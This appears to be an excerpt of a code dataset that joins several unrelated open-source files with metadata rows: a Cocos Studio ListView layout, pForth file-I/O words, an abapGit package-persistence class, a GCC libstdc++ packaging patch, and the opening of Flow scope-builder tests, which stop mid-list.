<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="480.0000" Y="320.0000" />
<PrePosition X="0.0000" Y="0.0000" />
<PreSize X="1.0000" Y="1.0000" />
<Children>
<NodeObjectData Name="root_Panel" ActionTag="1851564209" FrameEvent="" CallBackType="Touch" Tag="81" ObjectIndex="3" TouchEnable="True" BackColorAlpha="102" ComboBoxIndex="1" ColorAngle="90.0000" Scale9Enable="True" Scale9Width="480" Scale9Height="320" ctype="PanelObjectData">
<Position X="0.0000" Y="0.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="480.0000" Y="320.0000" />
<PrePosition X="0.0000" Y="0.0000" />
<PreSize X="1.0000" Y="1.0000" />
<Children>
<NodeObjectData Name="Panel" ActionTag="1731076339" FrameEvent="" CallBackType="Touch" Tag="82" ObjectIndex="4" TouchEnable="True" BackColorAlpha="102" ColorAngle="90.0000" Scale9Enable="True" LeftEage="120" TopEage="120" Scale9OriginX="50" Scale9OriginY="57" Scale9Width="70" Scale9Height="63" ctype="PanelObjectData">
<Position X="0.0000" Y="263.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="480.0000" Y="57.0000" />
<PrePosition X="0.0000" Y="0.8219" />
<PreSize X="1.0000" Y="0.1781" />
<FileData Type="Normal" Path="ribbon.png" />
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
<NodeObjectData Name="UItest" ActionTag="-11648633" FrameEvent="" CallBackType="Touch" Tag="88" ObjectIndex="1" FontSize="20" LabelText="UI_test" ctype="TextObjectData">
<Position X="240.0000" Y="310.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<CColor A="255" R="255" G="255" B="255" />
<Size X="70.0000" Y="20.0000" />
<PrePosition X="0.5000" Y="0.9688" />
<PreSize X="0.0000" Y="0.0000" />
</NodeObjectData>
<NodeObjectData Name="background_Panel" ActionTag="-1445210192" FrameEvent="" CallBackType="Touch" Tag="83" ObjectIndex="5" TouchEnable="True" BackColorAlpha="102" ColorAngle="90.0000" Scale9Enable="True" LeftEage="4" RightEage="4" TopEage="4" BottomEage="4" Scale9OriginX="4" Scale9OriginY="4" Scale9Width="12" Scale9Height="12" ctype="PanelObjectData">
<Position X="39.0000" Y="76.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="403.0000" Y="170.0000" />
<PrePosition X="0.0812" Y="0.2375" />
<PreSize X="0.8396" Y="0.5313" />
<Children>
<NodeObjectData Name="Panel1" ActionTag="1622737071" FrameEvent="" Tag="15" ObjectIndex="6" TouchEnable="True" BackColorAlpha="102" ColorAngle="90.0000" ctype="PanelObjectData">
<Position X="0.0000" Y="0.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="134.0000" Y="170.0000" />
<PrePosition X="0.0000" Y="0.0000" />
<PreSize X="0.3325" Y="1.0000" />
<Children>
<NodeObjectData Name="Text1" ActionTag="895928756" FrameEvent="" Tag="18" ObjectIndex="3" FontSize="20" LabelText="Align Top" ctype="TextObjectData">
<Position X="67.0000" Y="20.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<CColor A="255" R="255" G="255" B="255" />
<Size X="90.0000" Y="20.0000" />
<PrePosition X="0.5000" Y="0.1176" />
<PreSize X="0.0000" Y="0.0000" />
</NodeObjectData>
<NodeObjectData Name="ListView1" ActionTag="-1409531929" FrameEvent="" Tag="19" ObjectIndex="1" TouchEnable="True" ClipAble="True" BackColorAlpha="102" ComboBoxIndex="1" ColorAngle="90.0000" IsBounceEnabled="True" ScrollDirectionType="0" ctype="ListViewObjectData">
<Position X="5.0003" Y="34.0000" />
<Scale ScaleX="0.6150" ScaleY="0.6400" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="200.0000" Y="200.0000" />
<PrePosition X="0.0373" Y="0.2000" />
<PreSize X="1.4925" Y="1.1765" />
<SingleColor A="255" R="150" G="150" B="255" />
<FirstColor A="255" R="150" G="150" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
</Children>
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
<NodeObjectData Name="Panel2" ActionTag="1396060645" FrameEvent="" Tag="20" ObjectIndex="9" TouchEnable="True" BackColorAlpha="102" ColorAngle="90.0000" ctype="PanelObjectData">
<Position X="134.0000" Y="0.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="134.0000" Y="170.0000" />
<PrePosition X="0.3325" Y="0.0000" />
<PreSize X="0.0000" Y="0.0000" />
<Children>
<NodeObjectData Name="Text2" ActionTag="180770658" FrameEvent="" Tag="21" ObjectIndex="4" FontSize="20" LabelText="Align Bottom" ctype="TextObjectData">
<Position X="65.0000" Y="20.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<CColor A="255" R="255" G="255" B="255" />
<Size X="120.0000" Y="20.0000" />
<PrePosition X="0.4851" Y="0.1176" />
<PreSize X="0.0000" Y="0.0000" />
</NodeObjectData>
<NodeObjectData Name="ListView2" ActionTag="-1264634631" FrameEvent="" Tag="22" ObjectIndex="2" TouchEnable="True" ClipAble="True" BackColorAlpha="102" ComboBoxIndex="1" ColorAngle="90.0000" IsBounceEnabled="True" ScrollDirectionType="0" ItemMargin="20" HorizontalType="Align_Right" VerticalType="Align_Bottom" ctype="ListViewObjectData">
<Position X="5.0003" Y="34.0000" />
<Scale ScaleX="0.6150" ScaleY="0.6400" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="200.0000" Y="200.0000" />
<PrePosition X="0.0000" Y="0.0000" />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="255" G="150" B="211" />
<FirstColor A="255" R="255" G="150" B="211" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
</Children>
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
<NodeObjectData Name="Panel3" ActionTag="-310753692" FrameEvent="" Tag="23" ObjectIndex="10" TouchEnable="True" BackColorAlpha="102" ColorAngle="90.0000" ctype="PanelObjectData">
<Position X="268.0000" Y="0.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="134.0000" Y="170.0000" />
<PrePosition X="0.6650" Y="0.0000" />
<PreSize X="0.0000" Y="0.0000" />
<Children>
<NodeObjectData Name="Text3" ActionTag="-1905065951" FrameEvent="" Tag="24" ObjectIndex="5" FontSize="20" LabelText="Align Center" ctype="TextObjectData">
<Position X="64.0000" Y="20.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<CColor A="255" R="255" G="255" B="255" />
<Size X="120.0000" Y="20.0000" />
<PrePosition X="0.4776" Y="0.1176" />
<PreSize X="0.8955" Y="0.2353" />
</NodeObjectData>
<NodeObjectData Name="ListView3" ActionTag="-1052984727" FrameEvent="" Tag="25" ObjectIndex="3" TouchEnable="True" ClipAble="True" BackColorAlpha="102" ComboBoxIndex="1" ColorAngle="90.0000" IsBounceEnabled="True" ScrollDirectionType="0" ItemMargin="40" HorizontalType="Align_HorizontalCenter" VerticalType="0" ctype="ListViewObjectData">
<Position X="5.0003" Y="34.0000" />
<Scale ScaleX="0.6150" ScaleY="0.6400" />
<AnchorPoint />
<CColor A="255" R="255" G="255" B="255" />
<Size X="200.0000" Y="200.0000" />
<PrePosition X="0.0000" Y="0.0000" />
<PreSize X="0.0000" Y="0.0000" />
<SingleColor A="255" R="255" G="246" B="150" />
<FirstColor A="255" R="255" G="246" B="150" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
</Children>
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
</Children>
<FileData Type="Normal" Path="buttonBackground.png" />
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
<NodeObjectData Name="back" ActionTag="1416676038" FrameEvent="" CallBackType="Touch" Tag="87" ObjectIndex="2" TouchEnable="True" FontSize="24" LabelText="Back" ctype="TextObjectData">
<Position X="436.0000" Y="22.0000" />
<Scale ScaleX="1.0000" ScaleY="1.0000" />
<AnchorPoint ScaleX="0.5000" ScaleY="0.5000" />
<CColor A="255" R="255" G="255" B="255" />
<Size X="48.0000" Y="24.0000" />
<PrePosition X="0.9083" Y="0.0688" />
<PreSize X="0.0000" Y="0.0000" />
</NodeObjectData>
</Children>
<FileData Type="Normal" Path="background.png" />
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
</Children>
<SingleColor A="255" R="150" G="200" B="255" />
<FirstColor A="255" R="150" G="200" B="255" />
<EndColor A="255" R="255" G="255" B="255" />
<ColorVector ScaleY="1.0000" />
</NodeObjectData>
</Children>
</ObjectData>
</Content>
</Content>
</GameProjectFile> | Csound | 3 | dum999/CocosStudioSamples | CocosStudioProjects/crossplatform_UIListView_Editor/cocosstudio/crossplatform_UIListView_Editor_Horizontal.csd | [
"MIT"
] |
\ READ-LINE and WRITE-LINE
\
\ This code is part of pForth.
\
\ Permission to use, copy, modify, and/or distribute this
\ software for any purpose with or without fee is hereby granted.
\
\ THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
\ WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
\ WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
\ THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
\ CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
\ FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
\ CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
\ OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
private{
10 constant \N
13 constant \R
\ Unread one char from file FILEID.
: UNREAD { fileid -- ior }
fileid file-position ( ud ior )
?dup
IF nip nip \ IO error
ELSE 1 s>d d- fileid reposition-file
THEN
;
\ Read the next available char from file FILEID and if it is a \n then
\ skip it; otherwise unread it. IOR is non-zero if an error occured.
\ C-ADDR is a buffer that can hold at least one char.
: SKIP-\N { c-addr fileid -- ior }
c-addr 1 fileid read-file ( u ior )
?dup
IF \ Read error?
nip
ELSE ( u )
0=
IF \ End of file?
0
ELSE
c-addr c@ \n = ( is-it-a-\n? )
IF 0
ELSE fileid unread
THEN
THEN
THEN
;
\ This is just s\" \n" but s\" isn't yet available.
create (LINE-TERMINATOR) \n c,
: LINE-TERMINATOR ( -- c-addr u ) (line-terminator) 1 ;
\ Standard throw code
\ See: http://lars.nocrew.org/forth2012/exception.html#table:throw
-72 constant THROW_RENAME_FILE
\ Copy the string C-ADDR/U1 to C-ADDR2 and append a NUL.
: PLACE-CSTR ( c-addr1 u1 c-addr2 -- )
2dup 2>r ( c-addr1 u1 c-addr2 ) ( r: u1 c-addr2 )
swap cmove ( ) ( r: u1 c-addr2 )
0 2r> + c! ( )
;
: MULTI-LINE-COMMENT ( "comment<rparen>" -- )
BEGIN
>in @ ')' parse ( >in c-addr len )
nip + >in @ = ( delimiter-not-found? )
WHILE ( )
refill 0= IF EXIT THEN ( )
REPEAT
;
}private
\ This treats \n, \r\n, and \r as line terminator. Reading is done
\ one char at a time with READ-FILE hence READ-FILE should probably do
\ some form of buffering for good efficiency.
: READ-LINE ( c-addr u1 fileid -- u2 flag ior )
{ a u f }
u 0 ?DO
a i chars + 1 f read-file ( u ior' )
?dup IF nip i false rot UNLOOP EXIT THEN \ Read error? ( u )
0= IF i i 0<> 0 UNLOOP EXIT THEN \ End of file? ( )
a i chars + c@
CASE
\n OF i true 0 UNLOOP EXIT ENDOF
\r OF
\ Detect \r\n
a i chars + f skip-\n ( ior )
?dup IF i false rot UNLOOP EXIT THEN \ IO Error? ( )
i true 0 UNLOOP EXIT
ENDOF
ENDCASE
LOOP
\ Line doesn't fit in buffer
u true 0
;
: WRITE-LINE ( c-addr u fileid -- ior )
{ f }
f write-file ( ior )
?dup
IF \ IO error
ELSE line-terminator f write-file
THEN
;
: RENAME-FILE ( c-addr1 u1 c-addr2 u2 -- ior )
{ a1 u1 a2 u2 | new }
\ Convert the file-names to C-strings by copying them after HERE.
a1 u1 here place-cstr
here u1 1+ chars + to new
a2 u2 new place-cstr
here new (rename-file) 0=
IF 0
ELSE throw_rename_file
THEN
;
\ A limit used to perform a sanity check on the size argument for
\ RESIZE-FILE.
2variable RESIZE-FILE-LIMIT
10000000 0 resize-file-limit 2! \ 10MB is somewhat arbitrarily chosen
: RESIZE-FILE ( ud fileid -- ior )
-rot 2dup resize-file-limit 2@ d> ( fileid ud big? )
IF
." Argument (" 0 d.r ." ) is larger then RESIZE-FILE-LIMIT." cr
." (You can increase RESIZE-FILE-LIMIT with 2!)" cr
abort
ELSE
rot (resize-file)
THEN
;
: ( ( "comment<rparen>" -- )
source-id
CASE
-1 OF postpone ( ENDOF
0 OF postpone ( ENDOF
\ for input from files
multi-line-comment
ENDCASE
; immediate
\ We basically try to open the file in read-only mode. That seems to
\ be the best that we can do with ANSI C. If we ever want to do
\ something more sophisticated, like calling access(2), we must create
\ a proper primitive. (OTOH, portable programs can't assume much
\ about FILE-STATUS and non-portable programs could create a custom
\ function for access(2).)
: FILE-STATUS ( c-addr u -- 0 ior )
r/o bin open-file ( fileid ior1 )
?dup
IF nip 0 swap ( 0 ior1 )
ELSE close-file 0 swap ( 0 ior2 )
THEN
;
privatize
| Forth | 5 | nickpascucci/pforth | fth/file.fth | [
"0BSD"
] |
CLASS zcl_abapgit_persist_packages DEFINITION
PUBLIC
CREATE PRIVATE .
PUBLIC SECTION.
TYPES:
BEGIN OF ty_package,
devclass TYPE scompkdtln-devclass,
component TYPE scompkdtln-component,
comp_posid TYPE scompkdtln-comp_posid,
END OF ty_package .
TYPES:
ty_packages TYPE HASHED TABLE OF ty_package WITH UNIQUE KEY devclass .
METHODS init .
METHODS modify
IMPORTING
!iv_package TYPE scompkdtln-devclass
!iv_component TYPE scompkdtln-component OPTIONAL
!iv_comp_posid TYPE scompkdtln-comp_posid OPTIONAL
RAISING
zcx_abapgit_exception .
METHODS read
IMPORTING
!iv_package TYPE scompkdtln-devclass
RETURNING
VALUE(rs_package) TYPE ty_package .
CLASS-METHODS get_instance
RETURNING
VALUE(ro_persist) TYPE REF TO zcl_abapgit_persist_packages .
PROTECTED SECTION.
PRIVATE SECTION.
CLASS-DATA go_persist TYPE REF TO zcl_abapgit_persist_packages.
DATA mt_packages TYPE ty_packages.
METHODS from_xml
IMPORTING
iv_xml TYPE string
RETURNING
VALUE(rt_packages) TYPE ty_packages
RAISING
zcx_abapgit_exception.
METHODS to_xml
IMPORTING
it_packages TYPE ty_packages
RETURNING
VALUE(rv_xml) TYPE string
RAISING
zcx_abapgit_exception.
ENDCLASS.
CLASS zcl_abapgit_persist_packages IMPLEMENTATION.
METHOD from_xml.
DATA lo_input TYPE REF TO zif_abapgit_xml_input.
CREATE OBJECT lo_input TYPE zcl_abapgit_xml_input EXPORTING iv_xml = iv_xml.
lo_input->read(
EXPORTING
iv_name = zcl_abapgit_persistence_db=>c_type_packages
CHANGING
cg_data = rt_packages ).
ENDMETHOD.
METHOD get_instance.
IF go_persist IS NOT BOUND.
CREATE OBJECT go_persist.
ENDIF.
ro_persist = go_persist.
ENDMETHOD.
METHOD init.
TRY.
" Might have changed in another session so always get latest
mt_packages = from_xml( zcl_abapgit_persistence_db=>get_instance( )->read(
iv_type = zcl_abapgit_persistence_db=>c_type_packages
iv_value = '' ) ).
CATCH zcx_abapgit_exception zcx_abapgit_not_found ##NO_HANDLER.
ENDTRY.
ENDMETHOD.
METHOD modify.
DATA ls_package LIKE LINE OF mt_packages.
FIELD-SYMBOLS <ls_package> LIKE LINE OF mt_packages.
init( ).
IF iv_component IS INITIAL AND iv_comp_posid IS INITIAL.
DELETE mt_packages WHERE devclass = iv_package.
ELSE.
READ TABLE mt_packages ASSIGNING <ls_package> WITH TABLE KEY devclass = iv_package.
IF sy-subrc = 0.
<ls_package>-component = iv_component.
<ls_package>-comp_posid = iv_comp_posid.
ELSE.
ls_package-devclass = iv_package.
ls_package-component = iv_component.
ls_package-comp_posid = iv_comp_posid.
INSERT ls_package INTO TABLE mt_packages.
ENDIF.
ENDIF.
zcl_abapgit_persistence_db=>get_instance( )->modify(
iv_type = zcl_abapgit_persistence_db=>c_type_packages
iv_value = ''
iv_data = to_xml( mt_packages ) ).
COMMIT WORK AND WAIT.
ENDMETHOD.
METHOD read.
init( ).
READ TABLE mt_packages INTO rs_package WITH TABLE KEY devclass = iv_package.
IF sy-subrc <> 0.
rs_package-devclass = iv_package. " no component
ENDIF.
ENDMETHOD.
METHOD to_xml.
DATA li_output TYPE REF TO zif_abapgit_xml_output.
CREATE OBJECT li_output TYPE zcl_abapgit_xml_output.
li_output->add(
iv_name = zcl_abapgit_persistence_db=>c_type_packages
ig_data = it_packages ).
rv_xml = li_output->render( ).
ENDMETHOD.
ENDCLASS.
| ABAP | 4 | Manny27nyc/abapGit | src/persist/zcl_abapgit_persist_packages.clas.abap | [
"MIT"
] |
#! /bin/sh -e
# DP: Build and install libstdc++_pic.a library.
dir=
if [ $# -eq 3 -a "$2" = '-d' ]; then
pdir="-d $3"
dir="$3/"
elif [ $# -ne 1 ]; then
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
fi
case "$1" in
-patch)
patch $pdir -f --no-backup-if-mismatch -p0 < $0
;;
-unpatch)
patch $pdir -f --no-backup-if-mismatch -R -p0 < $0
;;
*)
echo >&2 "`basename $0`: script expects -patch|-unpatch as argument"
exit 1
esac
exit 0
diff -ur libstdc++-v3/src/Makefile.am libstdc++-v3/src/Makefile.am
--- libstdc++-v3/src/Makefile.am~ 2004-04-16 21:04:05.000000000 +0200
+++ libstdc++-v3/src/Makefile.am 2004-07-03 20:22:43.000000000 +0200
@@ -210,6 +210,10 @@
$(OPT_LDFLAGS) $(SECTION_LDFLAGS) $(AM_CXXFLAGS) $(LDFLAGS) -o $@
+install-exec-local:
+ $(AR) cru libstdc++_pic.a .libs/*.o $(top_builddir)/libsupc++/*.o || touch libstdc++_pic.a
+ $(INSTALL_DATA) libstdc++_pic.a $(DESTDIR)$(toolexeclibdir)
+
# Added bits to build debug library.
if GLIBCXX_BUILD_DEBUG
all-local: build_debug
diff -ur libstdc++-v3/src/Makefile.in libstdc++-v3/src/Makefile.in
--- libstdc++-v3/src/Makefile.in 2004-07-03 06:41:13.000000000 +0200
+++ libstdc++-v3/src/Makefile.in 2004-07-03 20:25:05.000000000 +0200
@@ -611,7 +611,7 @@
install-data-am: install-data-local
-install-exec-am: install-toolexeclibLTLIBRARIES
+install-exec-am: install-toolexeclibLTLIBRARIES install-exec-local
install-info: install-info-am
@@ -644,6 +644,7 @@
distclean-libtool distclean-tags distdir dvi dvi-am html \
html-am info info-am install install-am install-data \
install-data-am install-data-local install-exec \
+ install-exec-local \
install-exec-am install-info install-info-am install-man \
install-strip install-toolexeclibLTLIBRARIES installcheck \
installcheck-am installdirs maintainer-clean \
@@ -729,6 +730,11 @@
install_debug:
(cd ${debugdir} && $(MAKE) \
toolexeclibdir=$(glibcxx_toolexeclibdir)/debug install)
+
+install-exec-local:
+ $(AR) cru libstdc++_pic.a .libs/*.o $(top_builddir)/libsupc++/*.o || touch libstdc++_pic.a
+ $(INSTALL_DATA) libstdc++_pic.a $(DESTDIR)$(toolexeclibdir)
+
# Tell versions [3.59,3.63) of GNU make to not export all variables.
# Otherwise a system limit (for SysV at least) may be exceeded.
.NOEXPORT:
| Darcs Patch | 4 | a69/meta-arago-glsdk | meta-arago-extras/recipes-devtools/gcc/gcc-4.5/libstdc++-pic.dpatch | [
"MIT"
] |
(*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*)
open OUnit2
open Test_utils
module Scope_api = Scope_api.With_Loc
let mk_scope_builder_all_uses_test ?(enable_enums = false) contents expected_all_uses ctxt =
let info = Scope_builder.program ~enable_enums ~with_types:true (parse contents) in
let all_uses = Loc_collections.LocSet.elements @@ Scope_api.all_uses info in
let printer = print_list Loc.debug_to_string in
assert_equal
~ctxt
~cmp:(eq printer)
~printer
~msg:"All uses don't match!"
expected_all_uses
all_uses
let mk_scope_builder_locs_of_defs_of_all_uses_test
?(enable_enums = false) contents expected_locs_of_defs ctxt =
let info = Scope_builder.program ~enable_enums ~with_types:true (parse contents) in
let all_uses = Loc_collections.LocSet.elements @@ Scope_api.all_uses info in
let defs = Base.List.map ~f:(Scope_api.def_of_use info) all_uses in
let locs_of_defs = Base.List.map ~f:(fun { Scope_api.Def.locs; _ } -> Nel.to_list locs) defs in
let printer = print_list @@ print_list Loc.debug_to_string in
assert_equal
~ctxt
~cmp:(eq printer)
~printer
~msg:"Defs of all uses don't match!"
expected_locs_of_defs
locs_of_defs
let mk_scope_builder_uses_of_all_uses_test ?(enable_enums = false) contents expected_uses ctxt =
let info = Scope_builder.program ~enable_enums ~with_types:true (parse contents) in
let all_uses = Loc_collections.LocSet.elements @@ Scope_api.all_uses info in
let uses =
Base.List.map
~f:(fun use ->
Loc_collections.LocSet.elements @@ Scope_api.uses_of_use ~exclude_def:true info use)
all_uses
in
let printer =
print_list @@ fun list -> Printf.sprintf "[%s]" (print_list Loc.debug_to_string list)
in
assert_equal
~ctxt
~cmp:(eq printer)
~printer
~msg:"Uses of all uses don't match!"
expected_uses
uses
(* Asserts that scopes classified as toplevel indeed contains all toplevel defs. *)
let mk_scope_builder_toplevel_scopes_test
contents ?(enable_enums = false) expected_defs_in_toplevel ctxt =
let info = Scope_builder.program ~enable_enums ~with_types:false (parse contents) in
let collect_def_names acc scope_id =
let { Scope_api.Scope.defs; _ } = Scope_api.scope info scope_id in
defs |> SMap.keys |> List.fold_left (fun acc def -> SSet.add def acc) acc
in
let actual_defs_in_toplevel =
Scope_api.toplevel_scopes |> List.fold_left collect_def_names SSet.empty |> SSet.elements
in
let printer = String.concat ", " in
assert_equal ~ctxt ~printer expected_defs_in_toplevel actual_defs_in_toplevel
let mk_scope_builder_scope_loc_test ?(enable_enums = false) contents expected_scope_locs ctxt =
let info = Scope_builder.program ~enable_enums ~with_types:true (parse contents) in
let scope_locs =
IMap.elements (IMap.map (fun scope -> scope.Scope_api.Scope.loc) info.Scope_api.scopes)
in
let scope_locs = List.rev scope_locs in
let printer list =
Printf.sprintf
"[%s]"
(print_list (fun (id, loc) -> Printf.sprintf "%d: %s" id (Loc.debug_to_string loc)) list)
in
assert_equal
~ctxt
~cmp:(eq printer)
~printer
~msg:"Uses of all uses don't match!"
expected_scope_locs
scope_locs
let tests =
"scope_builder"
>::: [
"let_all_uses"
>:: mk_scope_builder_all_uses_test
("function foo(x, ...y) {\n" ^ " let z = 0;\n" ^ " x, y;\n" ^ " return z;\n" ^ "}")
[
mk_loc (1, 9) (1, 12);
(* foo *)
mk_loc (1, 13) (1, 14);
(* x def *)
mk_loc (1, 19) (1, 20);
(* y def *)
mk_loc (2, 6) (2, 7);
(* z def *)
mk_loc (3, 2) (3, 3);
(* x use *)
mk_loc (3, 5) (3, 6);
(* y use *)
mk_loc (4, 9) (4, 10);
];
(* z use *)
"let_locs_of_defs_of_all_uses"
>:: mk_scope_builder_locs_of_defs_of_all_uses_test
"function foo() { let x = 0; return x; }"
[[mk_loc (1, 9) (1, 12)]; [mk_loc (1, 21) (1, 22)]; [mk_loc (1, 21) (1, 22)]];
"let_uses_of_all_uses"
>:: mk_scope_builder_uses_of_all_uses_test
"function foo() { let x = 0; return x; }"
[[]; [mk_loc (1, 35) (1, 36)]; [mk_loc (1, 35) (1, 36)]];
"var_locs_of_defs_of_all_uses"
>:: mk_scope_builder_locs_of_defs_of_all_uses_test
"function foo({y}) { var {x} = y; return x; }"
[
[mk_loc (1, 9) (1, 12)];
[mk_loc (1, 14) (1, 15)];
[mk_loc (1, 25) (1, 26)];
[mk_loc (1, 14) (1, 15)];
[mk_loc (1, 25) (1, 26)];
];
"var_uses_of_all_uses"
>:: mk_scope_builder_uses_of_all_uses_test
"function foo({y}) { var {x} = y; return x; }"
[
[];
[mk_loc (1, 30) (1, 31)];
[mk_loc (1, 40) (1, 41)];
[mk_loc (1, 30) (1, 31)];
[mk_loc (1, 40) (1, 41)];
];
"var_locs_of_defs_of_all_uses2"
>:: mk_scope_builder_locs_of_defs_of_all_uses_test
"function foo() { var { x, y } = { x: 0, y: 0 }; var { x: _x, y: _y } = { x, y }; return ({ x: _x, y: _y }); }"
[
[mk_loc (1, 9) (1, 12)];
[mk_loc (1, 23) (1, 24)];
[mk_loc (1, 26) (1, 27)];
[mk_loc (1, 57) (1, 59)];
[mk_loc (1, 64) (1, 66)];
[mk_loc (1, 23) (1, 24)];
[mk_loc (1, 26) (1, 27)];
[mk_loc (1, 57) (1, 59)];
[mk_loc (1, 64) (1, 66)];
];
"let_uses_of_all_uses2"
>:: mk_scope_builder_uses_of_all_uses_test
"function foo() { let { x, y } = { x: 0, y: 0 }; let { x: _x, y: _y } = { x, y }; return ({ x: _x, y: _y }); }"
[
[];
[mk_loc (1, 73) (1, 74)];
[mk_loc (1, 76) (1, 77)];
[mk_loc (1, 94) (1, 96)];
[mk_loc (1, 101) (1, 103)];
[mk_loc (1, 73) (1, 74)];
[mk_loc (1, 76) (1, 77)];
[mk_loc (1, 94) (1, 96)];
[mk_loc (1, 101) (1, 103)];
];
"jsx_uses_of_all_uses"
>:: mk_scope_builder_all_uses_test
"class Foo {}; <Foo></Foo>; <Foo/>"
[
mk_loc (1, 6) (1, 9);
mk_loc (1, 15) (1, 18);
mk_loc (1, 21) (1, 24);
mk_loc (1, 28) (1, 31);
];
"declare_var"
>:: mk_scope_builder_all_uses_test
"declare var foo: number; foo"
[mk_loc (1, 12) (1, 15); mk_loc (1, 25) (1, 28)];
"declare_export_var"
>:: mk_scope_builder_all_uses_test
"declare export var bar: number; bar"
[mk_loc (1, 19) (1, 22); mk_loc (1, 32) (1, 35)];
"declare_class"
>:: mk_scope_builder_all_uses_test
"declare class Foo {}; new Foo()"
[mk_loc (1, 14) (1, 17); mk_loc (1, 26) (1, 29)];
"declare_function"
>:: mk_scope_builder_all_uses_test
"declare function foo(): void; foo()"
[mk_loc (1, 17) (1, 20); mk_loc (1, 30) (1, 33)];
"import_named"
>:: mk_scope_builder_all_uses_test
"import {A} from 'A'; A()"
[mk_loc (1, 8) (1, 9); mk_loc (1, 21) (1, 22)];
"import_named_as"
>:: mk_scope_builder_all_uses_test
"const B = 1; import {B as A} from 'A'; A()"
[mk_loc (1, 6) (1, 7); mk_loc (1, 26) (1, 27); mk_loc (1, 39) (1, 40)];
"declare_pred_fn"
>:: mk_scope_builder_all_uses_test
"declare function g(x: number): boolean %checks(x);"
[mk_loc (1, 17) (1, 18); mk_loc (1, 19) (1, 20); mk_loc (1, 47) (1, 48)];
"export_named_function"
>:: mk_scope_builder_all_uses_test
"export function foo() {}; foo()"
[mk_loc (1, 16) (1, 19); mk_loc (1, 26) (1, 29)];
"export_named_class"
>:: mk_scope_builder_all_uses_test
"export class Foo {}; new Foo()"
[mk_loc (1, 13) (1, 16); mk_loc (1, 25) (1, 28)];
"export_named_binding"
>:: mk_scope_builder_all_uses_test
"export const foo = () => {}; foo()"
[mk_loc (1, 13) (1, 16); mk_loc (1, 29) (1, 32)];
"export_default_function"
>:: mk_scope_builder_all_uses_test
"export default function foo() {}; foo()"
[mk_loc (1, 24) (1, 27); mk_loc (1, 34) (1, 37)];
"export_default_class"
>:: mk_scope_builder_all_uses_test
"export default class Foo {} new Foo()"
[mk_loc (1, 21) (1, 24); mk_loc (1, 32) (1, 35)];
"export_specifier"
>:: mk_scope_builder_all_uses_test
"const A = 1; export {A};"
[mk_loc (1, 6) (1, 7); mk_loc (1, 21) (1, 22)];
"export_specifier_as"
>:: mk_scope_builder_all_uses_test
"const A = 1; const B = 1; export {A as B};"
[mk_loc (1, 6) (1, 7); mk_loc (1, 19) (1, 20); mk_loc (1, 34) (1, 35)];
"computed_property_destructuring"
>:: mk_scope_builder_all_uses_test
"const x = {}; const foo = ''; const {[foo]: bar} = x;"
[
mk_loc (1, 6) (1, 7);
mk_loc (1, 20) (1, 23);
